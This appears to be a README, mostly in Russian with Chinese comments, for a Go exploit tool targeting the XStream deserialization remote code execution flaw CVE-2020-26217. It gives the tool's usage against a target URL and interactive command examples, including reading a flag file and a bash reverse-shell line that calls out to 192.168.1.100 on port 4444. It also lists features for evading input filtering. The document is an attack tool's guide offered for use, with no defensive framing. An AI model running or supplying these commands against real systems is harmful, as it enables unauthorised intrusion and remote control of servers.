CVE-2020-26217 XStream RCE Exploit

Инструмент для эксплуатации уязвимости удаленного выполнения кода XStream.

Описание уязвимости

CVE-2020-26217 — это уязвимость десериализации в библиотеке XStream, которая позволяет злоумышленнику выполнить удаленный код путем создания вредоносных XML-данных.

Затронутые версии: XStream <= 1.4.13

Использование

go run poc.go <目标URL>

Пример

# 运行工具
go run poc.go http://target.com:8080/?data

# 进入交互模式后输入命令
cmd> whoami
cmd> cat /flag
cmd> bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
cmd> exit

Особенности

Интерактивное выполнение команд
Автоматический разбор имени параметра URL
Кодирование Base64 для обхода фильтрации специальных символов
Поддержка HTTPS (пропуск проверки сертификата)

CVE-2020-26217-XStream

Популярное

Отказ от ответственности